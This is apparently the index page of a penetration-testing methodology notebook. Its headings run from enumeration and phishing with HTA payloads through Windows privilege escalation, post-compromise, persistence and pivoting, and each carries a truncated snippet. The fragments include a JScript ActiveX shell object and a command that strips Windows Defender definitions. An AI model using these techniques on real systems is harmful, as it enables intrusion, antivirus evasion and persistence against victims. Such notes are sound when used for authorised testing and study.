Advanced Methodology
1. Enumeration
Automated approach autorecon TARGET_IP Manual approach nmap TARGET_IP -p- --min-rate 1400 -sV ...
2. Initial Access
Phishing
HTA payloads Ping <html> <head> <script language="JScript"> var shell = new ActiveXObject(...
3. Privilege Escalation - Windows
PowerUp Upload the following script to the host /usr/share/windows-resources/powersploit/Pri...
4. Post Compromise
Blast AV and enable RDP with hashes cmd.exe /c "C:\\Program Files\\Windows Defender\\MpCmdRu...
5. Persistence
Linux - SSH On your host cat ~/.ssh/id_rsa.pub # if you don't have one create run: ssh-key -t r...
6. Pivot
You can use the standard apt repos if you don’t need to do any modifications, e.g. bypassing Ap...
Linux AD
Tools required <https://github.com/its-a-feature/KeytabParser> <https://github.com/sosdave/KeyT...
Blast Defender
Via command prompt cmd.exe /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -removedefinit...